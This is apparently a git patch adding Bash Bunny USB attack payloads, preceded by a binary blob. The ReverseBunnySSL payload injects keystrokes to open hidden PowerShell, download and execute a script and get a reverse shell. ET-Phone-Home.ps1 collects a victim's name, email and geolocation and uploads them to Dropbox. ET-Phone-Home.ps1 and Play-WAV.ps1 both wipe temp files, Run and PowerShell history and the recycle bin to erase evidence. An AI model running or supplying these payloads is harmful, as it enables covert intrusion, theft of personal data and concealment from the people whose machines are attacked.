z{ooG}rp!R%OSIz8=v5Me5G|_=X@E-D^o6)T^Ex>&)vPn9K+Mc!I+_ZrXBY=Ymn?)F z@hzm0>L>){M$AT;CVPDs+fx-3ORfM#87H_;dM9n8$0fXZ8+j90A|$@B0-e1u>gkpz zGQ3hRnRCw@Eqk>$nN39kCWCSOy<=mACUth}>g?z!4*|Oy`P@9_K!W;gEy)cz?ygju zgq%vx&cA8yx&l%ZhjJOm4v+&U5uJ&C7cFX!DLYREfx=6=guWrH=UtwEbH`5;&Zy+p zC&qu`QtMLUG(P)6RdvDQL9C{xO*_>eaBDH_qM6TqmwifHsH$Oz1ytw7mA#%l5tP2V zU09?3A*4!YqQZuoSK*B!B^8xb`~lr)7le0up@Yl&JSS~RgGi=aqAO>4NZO@h^)%u7 z?wJCXqw+l01Rg2gKe}-AyQ}E&@826$0JDls*`m>`eD(GM!vh^6-FvDtUdx_PMH5l+ zFYz`Fy5fg+pWM}ppO%qYy7ll0S`R*gw9-lI+5#O%#1&AClsnnuevjZerPr_1E;PRR zCdRh#?MFxiKquTb!icBGC_z@q$l|ezT8}=!wE#jO>ado37WVF4xO3h^bh9T#cmS2Y zv*3-=< sTxnN e`*&iVvF0DPsjz=~v5Tl*TQ(xIw5A3CDE~O-;=T z(mLMZRYI+X*O@wAi{*Utpit!KhKK{I{!DPFy>xzm#l6%-VKGeRNf))gr(su4TU%#( zdh6Iu^U5g{js^B7>%{xgIw+w2ePd5J;huLGZ?-}hz$~J0mvxvxr9MaQ@9A*ADs- fxfS*IhTBmpsl^w2^l@XX*z3s(G6u(W3^Of5UII z9eQbZ(w1~Fw>aH6o8Hw940(EbxhH-rDHf$$Jt$tW)!!?AEM={sFBRJe^!%DY3bTd3B(D%ha9Fh1cfjfh%!MJ%geTItUcEPgxI^oVS{Z^t- zitge8=jLR@OmUyuy&=*vk0S?R)tSzb{Ebt~!C&4KXbrDJj9e^oRi;FvNK7a2m}+y^ zLdkE-^pta`@$BKu$sCKw)@gHiOfrXto?EWvB?iRfu$bhnqyU6P5nfSa3U+vjjU>GF zHvn(SDKnqe0!2fA6dHm97c@b(*6t#Fw$mDDb^i4B2|CUP2ZN=i6e5BKvmksEk|oNt zfUOxwKlwl=d2o8xEG^SHrN2B*TAG=WF}6c{(b#H=v#4&j=DL?r {7 zBaoV|OLxb4#^Scf&bxWmAM$6V=K3|ozm)nk=J1+6c?f%cNbsC_KWGgXTZqJ%j@JyN zGgO2e (OzGcOQ`koE0T?1x8ba)7hI+9=; )D)xroS|2^o2To8G%G*42 zHnpvcRc8$jz2l}e#c%Atca{7gpOgcYydY zF!_WEB&(@8z~pie9`){9+-;2RPPu85m%uuFd<-~bjtm1mx3<-Qtm3+NiD#jPw*=;$ z3gnBK@`PLSZB}zYhET_vT0UTN)fEaUvJo@o8t(e_$NIn`TP>`3R5g^}3G$&Lzkk0` zy$SODnp_Zq8tucm$?a@0(TyCQo?!1Ee0K)owllhRt43{5JEIF=7>0d8DDxt`de2|a zW$2mtv%FtL2vcBYS!}qV7^wP{x#gjTGI$K9Wp_m1Q 8el*@xO;qw#$kYPH^QxF zha=(E8G%mzjbWFDE?&BuO2PDMc@GX}-KSrIp)pmoIIq??hCL0t9P52BaH5~Q?n7?w z90qCyJ#ACej`uMKZX3yR=UHpv*wbIEG)@C|+*9Sji#Q`Oe|O_3yH-p%$ce1@pcgRi zTcK=n(VdaG$yIluC)a@4j^k{y{TLQ}wig~AcY~UYhUN-91p4jum29k!2B+W0z7x9f zzc*H}5C6k_`TzQkG8BD89dKDT>_~&L{_LQdd?i$!TGqtmgVRP?xslP=AzGYs;}Tt0 zt5f@}2Hf1SXMv^MT3s!eQeIK#(g&u5Bmx-kIS;+=SwonDsswY>%|F_13&3Hp{f91c zRI*VLKV3-R!1hhnu?`6I*LnFsuM6_lB82tBSSTch%eOtw5M{rG 4Lq z<-VVdodv@Bw*F_RZT!Wo=M^h;`O34x!v|l3?`?#>7y<`$*%?AzdjvolpZl34zW$6g z`s5P7-;9GiNbj?~5W4vR$paHAJ3Y4%=iRMF%M9yDA-?Up(oA>Mw9(jhml1&D#$9N0 z)($}%Us$tQyBg|IVS6B;2_*D#qZK!J-@kufktk6QLDi#QH7(aY_Lg` R@k_=kus zJ#{ d>;J$Xv<~D>{%(qx}B9cicrYcwqqqQzUpllx->` z@m+4MXR4faE83VzuXUQSkQ07lw7+uJ@tH=Vy~>`qhBj;~t1r|W{*~m&Q(Cw0mY|>- zI5XllS_vJZ fwV&~>8 z>h4 JKsnviTtP@(SvxhCGMH}-DmfU{1(5J@JMd&%dm2ckaM5Rz zM0W8swvI%eJAnG^i%mpyUM|4GxIXv4KPDV711@!g2;4+b+eHh%lV8MJm){}jCnnqM z%533^(L5)$s-Z=lL`T3?O$JF{%;CI}$X++5Fw1M$2 FtqkQhlP-jbc zZQLBtlktY%lTuH%N%q7GmM+&5Urj8uMJDJkuCP! 12kE_Zz?R-#TmV_2Eb-Rd~iH;umKj$B)9{WRs(CboOR=-p`;a+=&7zn5Nz zSqpTS5iykosI28Ll5*Xuyf}&3{Gxg`#AIc}+Y^QbfHg#-$V{<=GrI>|{kJ?ZtNtb1 zm72TL!pWe}I7X&b{OI$8 C-zn8lII_G z`E|}1<3XjD!0FHElH+8ivFCUw?KW#S$`6|N`2YZlv_am|r7=mT=I`%;eSxr$8=Ac8 zB{469b& G;?PqyTY>b|lf`fwtD27>yja=Y)Az-FoViW*O)ZD@> zmk}g(ft4jdFw*n>bR=p9l~O<2 {IiOJ6*81&?^ZGL$lWP{W6Uf09 zjYY1~1PC(EvKe;z7wPqzc^r=mKt6K5jo;0Sy~`5&q2dmw#WFFsAY8Te(}Ue@{9SO+ zLVL yo^BD zseLzx+^3SPV)apU=chj{%B?W_9N*pZFEU#CTr|ZmK;(aYO6DqBNY18ykqGNbV2T@% z#&OOA0R&JUf~b!2OHN=jmHse092^|XFgyv@X2uj71x*K}f2M zPimq6?SR1sx=9PUZmpR^t#t4r@QtCl>c;_YJPYZ!B$QoGDh6KAelZA~qXzexo`L%} z3iSM%N}ikLuxSy-!{ef1l#fdx@k?-n8RyZ90%CV#7P-b0i{?@7@fR{{I|Wb^z%R-4 z!h$V_#p0{BG2C_hMc~>YHW~=DJRG3>=o+;t22RPlv*XM5kdhKlE{&C4y>Vq7ZBEz_ zf|{{+5vL7lvR0`W_PY `UM8v zJ|AX{W8Dg~FN1ed *v zM3Lmkw;Uv$Y((AZvs^FZf4e;IWXGxF{r>yaR<49j#hdvxJp#C)lPx89`5lO9Q=Z-M zXB)IIPP=51_H65n@?kjsgcLEtQFun_a%4fE5c1@kpG@QBt80d@cJ^whQV*_p=0mPA zX0W!y!eBZ{osmz<+X&Ct1a8g|1vNeL)qgf!&D2T2j&u5}i2$4&l*;WK!TGW2m{|n8 z)}I0<4jT5O_?(1X+J12A=bddT0%OMXs5AO?4q`kx#Epm0b7Nq7(%z%{1%${ m5;oc3kF0!7H289YBioChZ#nv4A5Bo|+B?v1Q&*L|XvB*kjJv!Y zL8t|odLR|y6*khfPqU!>rEF;Ui*Tl=@?43mIU*7zMN536e?Gtnec-Ctj@{*RIy9+~ zHL1;BuTt05LSr-%xV8huQGv-^IqR$sJv zDUaLaDssFv}`(H?W>RrXoiM{zWkwb;q;tD_tQpNUa++#5g>jj z#p40JMSxbb$tZ7mGgz-HZg4uzZ?b+m9UZ+D)O^FFv=$|j?$^vHQ+Z&Q%;p%su=eW_ z wJag~cqa=2m^XKbGX^3WaB$J7g zER;0@@DvEZ>W#NZMzAaBY~j{pB%NbsLw0|BMCR{6l>X={_{c!Il@-I+;Ti+mJhl>W zl&KieJ}m(_rSOrj_kh&dCXsU(Yd@ k;6@UYDp PDt2T?LOErlia?#{m_LLVI~Owp5_ubX6m zk>G7bgPK@PwaTxo2NrzT@lI#(!669NWb^ZaA{PrUQb8p0@g5LR7dZ!u-Ic?<@V9=y zWdp+|y#lLzFg$dj3?*qz@}Rt_u^@G3@Y`|rWmTqkbr6?_TyZ#lxuxKsT9Jz{Ejr~c zuB;MFI5P3`cRg5&tm%1`anylZpP4$-tIYc>C!6M7%=MhtKj9rh;N_2GP=ARedM}g@ z*FI$>#JeI3&TAISlyoO2&~s0zpd^54`MN%P7zh5nq-Od2DF`&!p9A bbyp0uDk^8{cB#9=u zu-$d_nseieXFT#R9kiv-zP}5TCqJaV0Zy@;yawy=?N{Qsvu5H9`X^uk1~pvR^rphf z{ElCbhi>Gtn(9k4D%=TeNl;DmxfK0q#>0#^^+a{r*VZ1NJBak#4e&kIheU1AB|yVr zDndyGsCztP7u2#-zCGR2n$vZa1XBlR=uaXDTN6x?#c725cwhSd4F(|rOje*d)dDLI zo#(k%nrAqN{hpFs=yC2@qP{%FfDZx7C`neOo7*rl)*90WrXdq(t%uKnhBD1V)heL9 zvPS)gzXx|=adDCXAFSL9I9)$nW;YJ<)o=o5)y4JGs!87Ryp8xHLNZx u@I7mAj<2n@K{Q?TfEKV +9*Rm&d)i0_Pew#~TTa4+C)P zO(d&jihQj#Xb{XPmDFFMHO2Aif6U695&~QJ02a 9I%KNPG7b8Mj(ru!a&fvcIoI`bfQ5I2ko^(OM_)XPg$OAxpLfOB5xob ze)@W=QHMxd^?OR92&Y}UskCDNsKEGk2L%=zXE^Dw1wZ(T`RJe+p>p;O>U`0#c!TjK z{gA^G88m+2sGG0%{QciW0RtsJw~iTJo xZ7}~yxVy4l2v%J_0m#ywy?VQyBZk~VDso{%kP?}L?3BS*Dq `X zuPel|s#|Ce!>dr4Pp67;A)gv;er7#bOT4hWJc$}mk@K7OQm!=C(@WxBB#dpGNHhi= g$WgC<*F<^bE%^Myeb)4f1!%owA1gj8lrr%9KO$^Q5C8xG literal 0 HcmV?d00001 diff --git a/payloads/library/remote_access/ReverseBunnySSL/payload.txt b/payloads/library/remote_access/ReverseBunnySSL/payload.txt new file mode 100644 index 00000000..57358c05 --- /dev/null +++ b/payloads/library/remote_access/ReverseBunnySSL/payload.txt @@ -0,0 +1,44 @@ +#!/bin/bash +# +# Title: ReverseBunnySSL +# Description: Get remote access, using an obfuscated powershell reverse shell. +# Author: 0iphor13 +# Version: 1.2 +# Category: Remote_Access +# Attackmodes: HID, RNDIS_ETHERNET + +LED SETUP +ATTACKMODE RNDIS_ETHERNET HID + +GET SWITCH_POSITION +GET HOST_IP + +cd /root/udisk/payloads/$SWITCH_POSITION/ + +# starting server +LED SPECIAL + +# disallow outgoing dns requests so the server is accessible immediately +iptables -A OUTPUT -p udp --dport 53 -j DROP +python -m SimpleHTTPServer 80 & + +# wait until port is listening +while ! nc -z localhost 80; do sleep 0.2; done + +#Opens hidden powershell instance +Q DELAY 1500 +Q GUI r +Q DELAY 500 +Q STRING "powershell -NoP -NonI -w hidden" +Q DELAY 500 +Q ENTER + +Q DELAY 500 + +#Insert attacking IP & port below +Q STRING "\$I='0.0.0.0';\$P=4444;" +Q DELAY 250 +Q STRING "iex (New-Object Net.WebClient).DownloadString(\"http://$HOST_IP/RBSSL.ps1\")" +Q DELAY 200 +Q ENTER +LED FINISH From 22b39a2469f1f69dbd707cd170bb167f76a4f594 Mon Sep 17 00:00:00 2001 From: I-Am-Jakoby Date: Tue, 10 May 2022 17:30:46 -0500 Subject: [PATCH 03/13] 11 payloads (#521) * Add files via upload * Add files via upload * Add files via upload * Add files via upload * Add files via upload --- .../-BB-ET-Phone-Home/ET-Phone-Home.ps1 | 154 ++++ .../-BB-ET-Phone-Home/README.md | 117 +++ .../-BB-ET-Phone-Home/payload.txt | 22 + .../execution/-BB-Play-WAV/Play-WAV.ps1 | 89 +++ .../library/execution/-BB-Play-WAV/README.md | 99 +++ .../execution/-BB-Play-WAV/payload.txt | 26 + .../general/-BB-PineApple/PineApple.txt | 80 ++ .../library/general/-BB-PineApple/README.md | 95 +++ .../library/general/-BB-PineApple/payload.txt | 20 + .../library/general/-BB-Subscribe/README.md | 93 +++ .../general/-BB-Subscribe/Subscribe.ps1 | 38 + .../library/general/-BB-Subscribe/payload.txt | 22 + .../library/prank/-BB-AcidBurn/AcidBurn.ps1 | 704 ++++++++++++++++++ payloads/library/prank/-BB-AcidBurn/README.md | 112 +++ .../prank/-BB-AcidBurn/hacked-wallpaper.jpg | Bin 0 -> 78095 bytes .../library/prank/-BB-AcidBurn/payload.txt | 26 + .../library/prank/-BB-JumpScare/JumpScare.ps1 | 221 ++++++ .../library/prank/-BB-JumpScare/README.md | 100 +++ .../prank/-BB-JumpScare/female_scream.wav | Bin 0 -> 46498 bytes .../library/prank/-BB-JumpScare/jumpscare.png | Bin 0 -> 956122 bytes .../library/prank/-BB-JumpScare/payload.txt | 26 + .../prank/-BB-PS-Draw/Images/PS-Draw.jpg | Bin 0 -> 19949 bytes .../library/prank/-BB-PS-Draw/Images/images | 1 + .../prank/-BB-PS-Draw/Images/omg-ico.png | Bin 0 -> 383 bytes .../prank/-BB-PS-Draw/Images/ps-colors.jpg | Bin 0 -> 15854 bytes .../prank/-BB-PS-Draw/Images/ps-hak5.jpg | Bin 0 -> 18314 bytes .../prank/-BB-PS-Draw/Images/ps-omg.jpg | Bin 0 -> 11106 bytes .../prank/-BB-PS-Draw/PS-Custom-Draw.ps1 | 232 ++++++ .../library/prank/-BB-PS-Draw/PS-Draw.ps1 | 201 +++++ payloads/library/prank/-BB-PS-Draw/README.md | 127 ++++ .../library/prank/-BB-PS-Draw/payload.txt | 32 + .../library/prank/-BB-Rage-PopUps/README.md | 94 +++ .../prank/-BB-Rage-PopUps/Rage-PopUps.ps1 | 75 ++ .../library/prank/-BB-Rage-PopUps/payload.txt | 22 + .../prank/-BB-Wallpaper-Troll/README.md | 96 +++ .../-BB-Wallpaper-Troll/Wallpaper-Troll.ps1 | 412 ++++++++++ .../prank/-BB-Wallpaper-Troll/payload.txt | 26 + .../prank/-BB-Wallpaper-Troll/wp-troll.jpg | Bin 0 -> 91400 bytes .../library/prank/-BB-We-Found-You/README.md | 97 +++ .../prank/-BB-We-Found-You/found-you.ps1 | 176 +++++ .../prank/-BB-We-Found-You/location.jpg | Bin 0 -> 117204 bytes .../prank/-BB-We-Found-You/payload.txt | 26 + .../library/recon/-BB-ADV-Recon/ADV-Recon.ps1 | 411 ++++++++++ .../library/recon/-BB-ADV-Recon/README.md | 96 +++ .../library/recon/-BB-ADV-Recon/payload.txt | 22 + 45 files changed, 4190 insertions(+) create mode 100644 payloads/library/Incident_Response/-BB-ET-Phone-Home/ET-Phone-Home.ps1 create mode 100644 payloads/library/Incident_Response/-BB-ET-Phone-Home/README.md create mode 100644 payloads/library/Incident_Response/-BB-ET-Phone-Home/payload.txt create mode 100644 payloads/library/execution/-BB-Play-WAV/Play-WAV.ps1 create mode 100644 payloads/library/execution/-BB-Play-WAV/README.md create mode 100644 payloads/library/execution/-BB-Play-WAV/payload.txt create mode 100644 payloads/library/general/-BB-PineApple/PineApple.txt create mode 100644 payloads/library/general/-BB-PineApple/README.md create mode 100644 payloads/library/general/-BB-PineApple/payload.txt create mode 100644 payloads/library/general/-BB-Subscribe/README.md create mode 100644 payloads/library/general/-BB-Subscribe/Subscribe.ps1 create mode 100644 payloads/library/general/-BB-Subscribe/payload.txt create mode 100644 payloads/library/prank/-BB-AcidBurn/AcidBurn.ps1 create mode 100644 payloads/library/prank/-BB-AcidBurn/README.md create mode 100644 payloads/library/prank/-BB-AcidBurn/hacked-wallpaper.jpg create mode 100644 payloads/library/prank/-BB-AcidBurn/payload.txt create mode 100644 payloads/library/prank/-BB-JumpScare/JumpScare.ps1 create mode 100644 payloads/library/prank/-BB-JumpScare/README.md create mode 100644 payloads/library/prank/-BB-JumpScare/female_scream.wav create mode 100644 payloads/library/prank/-BB-JumpScare/jumpscare.png create mode 100644 payloads/library/prank/-BB-JumpScare/payload.txt create mode 100644 payloads/library/prank/-BB-PS-Draw/Images/PS-Draw.jpg create mode 100644 payloads/library/prank/-BB-PS-Draw/Images/images create mode 100644 payloads/library/prank/-BB-PS-Draw/Images/omg-ico.png create mode 100644 payloads/library/prank/-BB-PS-Draw/Images/ps-colors.jpg create mode 100644 payloads/library/prank/-BB-PS-Draw/Images/ps-hak5.jpg create mode 100644 payloads/library/prank/-BB-PS-Draw/Images/ps-omg.jpg create mode 100644 payloads/library/prank/-BB-PS-Draw/PS-Custom-Draw.ps1 create mode 100644 payloads/library/prank/-BB-PS-Draw/PS-Draw.ps1 create mode 100644 payloads/library/prank/-BB-PS-Draw/README.md create mode 100644 payloads/library/prank/-BB-PS-Draw/payload.txt create mode 100644 payloads/library/prank/-BB-Rage-PopUps/README.md create mode 100644 payloads/library/prank/-BB-Rage-PopUps/Rage-PopUps.ps1 create mode 100644 payloads/library/prank/-BB-Rage-PopUps/payload.txt create mode 100644 payloads/library/prank/-BB-Wallpaper-Troll/README.md create mode 100644 payloads/library/prank/-BB-Wallpaper-Troll/Wallpaper-Troll.ps1 create mode 100644 payloads/library/prank/-BB-Wallpaper-Troll/payload.txt create mode 100644 payloads/library/prank/-BB-Wallpaper-Troll/wp-troll.jpg create mode 100644 payloads/library/prank/-BB-We-Found-You/README.md create mode 100644 payloads/library/prank/-BB-We-Found-You/found-you.ps1 create mode 100644 payloads/library/prank/-BB-We-Found-You/location.jpg create mode 100644 payloads/library/prank/-BB-We-Found-You/payload.txt create mode 100644 payloads/library/recon/-BB-ADV-Recon/ADV-Recon.ps1 create mode 100644 payloads/library/recon/-BB-ADV-Recon/README.md create mode 100644 payloads/library/recon/-BB-ADV-Recon/payload.txt diff --git a/payloads/library/Incident_Response/-BB-ET-Phone-Home/ET-Phone-Home.ps1 b/payloads/library/Incident_Response/-BB-ET-Phone-Home/ET-Phone-Home.ps1 new file mode 100644 index 00000000..2cdb7520 --- /dev/null +++ b/payloads/library/Incident_Response/-BB-ET-Phone-Home/ET-Phone-Home.ps1 @@ -0,0 +1,154 @@ + +############################################################################################################################################################ +# | ___ _ _ _ # ,d88b.d88b # +# Title : ET-Phone-Home | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 # +# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' # +# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' # +# Category : Incident-Response | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' # +# Target : Windows 7,10,11 | |___/ # /\/|_ __/\\ # +# Mode : HID | |\__/,| (`\ # / -\ /- ~\ # +# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / # +# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo # +# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ # +#__________________________________|_________________________________________________________________________# | | ) ~ ( # +# # / \ / ~ \ # +# github.com/I-Am-Jakoby # \ / \~ ~/ # +# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_# +# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |# +# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |# +############################################################################################################################################################ + +<# +.SYNOPSIS + This script is meant to recover your device or as an advanced recon tactic to get sensitive info on your target + +.DESCRIPTION + This program is used to locate your stolen cable. Or perhaps locate your "stolen" cable if you left it as bait. + This script will get the Name and email associated with the targets microsoft account + Their geo-location will also be grabbed giving you the latitude and longitude of where your device was activated +#> + +#------------------------------------------------------------------------------------------------------------------------------------ + +$FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_Device-Location.txt" + +# Your dropbox access token to exfiltrate information to + +$DropBoxAccessToken = "YOUR-DROPBOX-ACCESS-TOKEN" + + #------------------------------------------------------------------------------------------------------------------------------------ + + function Get-fullName { + + try { + + $fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name") + + } + + # If no name is detected function will return $env:UserName + + # Write Error is just for troubleshooting + catch {Write-Error "No name was detected" + return $env:UserName + -ErrorAction SilentlyContinue + } + + return $fullName + +} + +$FN = Get-fullName + +#------------------------------------------------------------------------------------------------------------------------------------ + +function Get-email { + + try { + + $email = GPRESULT -Z /USER $Env:username | Select-String -Pattern "([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})" -AllMatches;$email = ("$email").Trim() + return $email + } + +# If no email is detected function will return backup message for sapi speak + + # Write Error is just for troubleshooting + catch {Write-Error "An email was not found" + return "No Email Detected" + -ErrorAction SilentlyContinue + } +} + +$EM = Get-email + +#------------------------------------------------------------------------------------------------------------------------------------ + +function Get-GeoLocation{ + try { + Add-Type -AssemblyName System.Device #Required to access System.Device.Location namespace + $GeoWatcher = New-Object System.Device.Location.GeoCoordinateWatcher #Create the required object + $GeoWatcher.Start() #Begin resolving current locaton + + while (($GeoWatcher.Status -ne 'Ready') -and ($GeoWatcher.Permission -ne 'Denied')) { + Start-Sleep -Milliseconds 100 #Wait for discovery. + } + + if ($GeoWatcher.Permission -eq 'Denied'){ + Write-Error 'Access Denied for Location Information' + } else { + $GeoWatcher.Position.Location | Select Latitude,Longitude #Select the relevent results. + } + } + # Write Error is just for troubleshooting + catch {Write-Error "No coordinates found" + return "No Coordinates found" + -ErrorAction SilentlyContinue + } + +} + +$GL = Get-GeoLocation + +#------------------------------------------------------------------------------------------------------------------------------------ + +echo $FN >> $env:TMP\$FileName +echo $EM >> $env:TMP\$FileName +echo $GL >> $env:TMP\$FileName + +#------------------------------------------------------------------------------------------------------------------------------------ + +# Upload output file to dropbox + +$TargetFilePath="/$FileName" +$SourceFilePath="$env:TMP\$FileName" +$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }' +$authorization = "Bearer " + $DropBoxAccessToken +$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]" +$headers.Add("Authorization", $authorization) +$headers.Add("Dropbox-API-Arg", $arg) +$headers.Add("Content-Type", 'application/octet-stream') +Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers + +#------------------------------------------------------------------------------------------------------------------------------------ + +<# + +.NOTES + This is to clean up behind you and remove any evidence to prove you were there +#> + +# Delete contents of Temp folder + +rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue + +# Delete run box history + +reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f + +# Delete powershell history + +Remove-Item (Get-PSreadlineOption).HistorySavePath + +# Deletes contents of recycle bin + +Clear-RecycleBin -Force -ErrorAction SilentlyContinue diff --git a/payloads/library/Incident_Response/-BB-ET-Phone-Home/README.md b/payloads/library/Incident_Response/-BB-ET-Phone-Home/README.md new file mode 100644 index 00000000..4796efa2 --- /dev/null +++ b/payloads/library/Incident_Response/-BB-ET-Phone-Home/README.md @@ -0,0 +1,117 @@ +![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true) + + + ++ +# ET Phone Home + +A script I put together to locate your stolen devices, or your "stolen" baited devices + +## Description + +This program is meant to locate your devices. When someone plugs it into their computer +Using a one liner in the run box a script will be downloaded and executed that grabs the Name and email of the associated microsoft account and the +latitude and longitude of where the device was activated. This information is stored in a text document that is then uploaded to your dropbox. +Finally the end of the script will delete the runbox and powershell history and delete the files in the TMP Folder and Recycle Bin. + +## Getting Started + +### Dependencies + +* DropBox - Your Shared link for the intended file +* Windows 7,10,11 + + + +### Executing program + +* Your device is plugged into the targets computer +* A one liner command in the run box will execute the script on the bash bunny +Something Like What you see below will be in your loot folder: + +NAME + +EMAIL + +LATITUDE AND LONGITUDE + +``` +Jakoby + +jakoby@example.com + + Latitude Longitude + -------- --------- +37.778919 -122.416313 +``` + + + +## Contributing + +All contributors names will be listed here + +I am Jakoby + +Kalani + + + + +## Version History + +* 0.1 + * Initial Release + + + + +## Contact + +Table of Contents
++
+- Description
+- Getting Started
+- Contributing
+- Version History
+- Contact
+- Acknowledgments
++I am Jakoby
+ + + + + + +## Acknowledgments + +* [Hak5](https://hak5.org/) +* [MG](https://github.com/OMG-MG) + + + + diff --git a/payloads/library/Incident_Response/-BB-ET-Phone-Home/payload.txt b/payloads/library/Incident_Response/-BB-ET-Phone-Home/payload.txt new file mode 100644 index 00000000..76ce3d1d --- /dev/null +++ b/payloads/library/Incident_Response/-BB-ET-Phone-Home/payload.txt @@ -0,0 +1,22 @@ +# Title: ET-Phone-Home +# Description: this script will download and execute your locator script to find your device when it is plugged in +# Author: I am Jakoby +# Version: 1.0 +# Category: Incident_Response +# Attackmodes: HID, Storage +# Target: Windows 10, 11 + +LED SETUP + +GET SWITCH_POSITION + +ATTACKMODE HID STORAGE + +LED STAGE1 + +QUACK DELAY 3000 +QUACK GUI r +QUACK DELAY 100 +LED STAGE2 +QUACK STRING powershell -NoP -NonI -W Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\ET-Phone-Home.ps1')" +QUACK ENTER diff --git a/payloads/library/execution/-BB-Play-WAV/Play-WAV.ps1 b/payloads/library/execution/-BB-Play-WAV/Play-WAV.ps1 new file mode 100644 index 00000000..687e4a3f --- /dev/null +++ b/payloads/library/execution/-BB-Play-WAV/Play-WAV.ps1 @@ -0,0 +1,89 @@ +############################################################################################################################################################ +# | ___ _ _ _ # ,d88b.d88b # +# Title : Play-WAV | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 # +# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' # +# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' # +# Category : Execution | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' # +# Target : Windows 10,11 | |___/ # /\/|_ __/\\ # +# Mode : HID | |\__/,| (`\ # / -\ /- ~\ # +# Dependencies : Dropbox | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / # +# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo # +# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ # +#__________________________________|_________________________________________________________________________# | | ) ~ ( # +# # / \ / ~ \ # +# github.com/I-Am-Jakoby # \ / \~ ~/ # +# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_# +# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |# +# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |# +############################################################################################################################################################ + +<# +.NOTES + This script requires you to have a DropBox account or another file hosting service + +.DESCRIPTION + This program downloads a sound from your DropBox + Turns the volume to max level on victims PC + Pauses the script until a mouse movement is detected + Then plays the sound with nothing popping up catching your victim off guard + Finally a few lines of script are executed to empty TMP folder, clear Run and Powershell history + +#> + +############################################################################################################################################################ + +# Download Sound (When using your own link "dl=0" needs to be changed to "dl=1") +iwr https://
+ + + + + + + + + + + + + + + + + + + + Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/BashBunny/Payloads/BB-ET-Phone-Home) +?dl=1 -O $env:TMP\e.wav + +############################################################################################################################################################ + +# This turns the volume up to max level +$k=[Math]::Ceiling(100/2);$o=New-Object -ComObject WScript.Shell;for($i = 0;$i -lt $k;$i++){$o.SendKeys([char] 175)} + +############################################################################################################################################################ + +# This while loop will constantly check if the mouse has been moved +# if the mouse has not moved "SCROLLLOCK" will be pressed to prevent screen from turning off +# it will then sleep for the indicated number of seconds and check again + +Add-Type -AssemblyName System.Windows.Forms +$originalPOS = [System.Windows.Forms.Cursor]::Position.X + + while (1) { + $pauseTime = 3 + if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){ + break + } + else { + $o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime + } + } +############################################################################################################################################################ + +# Play Sound +$PlayWav=New-Object System.Media.SoundPlayer;$PlayWav.SoundLocation="$env:TMP\e.wav";$PlayWav.playsync() + +############################################################################################################################################################ + +<# + +.NOTES + This is to clean up behind you and remove any evidence to prove you were there +#> + +# Delete contents of Temp folder + +rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue + +# Delete run box history + +reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f + +# Delete powershell history + +Remove-Item (Get-PSreadlineOption).HistorySavePath + +# Deletes contents of recycle bin + +Clear-RecycleBin -Force -ErrorAction SilentlyContinue + diff --git a/payloads/library/execution/-BB-Play-WAV/README.md b/payloads/library/execution/-BB-Play-WAV/README.md new file mode 100644 index 00000000..efe77a89 --- /dev/null +++ b/payloads/library/execution/-BB-Play-WAV/README.md @@ -0,0 +1,99 @@ +![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true) + + + ++ +# Play-WAV + +A script used to download a WAV file and play it after a mouse movement is detected + +## Description + +This program starts off by using an Invoke-WebRequest to download a WAV file +The system volume is then turned up to the max level +Then the script will be paused until a mouse movement is detected +After one is the WAV file will be played + +## Getting Started + +### Dependencies + +* DropBox - Your Shared link for the intended file +* Windows 10,11 + + + +### Executing program + +* Plug in your device +* Invoke-WebRequest will be entered in the Run Box to download your WAV file +``` +powershell -w h -NoP -NonI -Exec Bypass iwr https:// < Your Shared link for the intended file> ?dl=1 -O $env:TMP\e.wav +``` + + + +## Contributing + +All contributors names will be listed here + +I am Jakoby + + + +## Version History + +* 0.1 + * Initial Release + + + + +## Contact + +Table of Contents
++
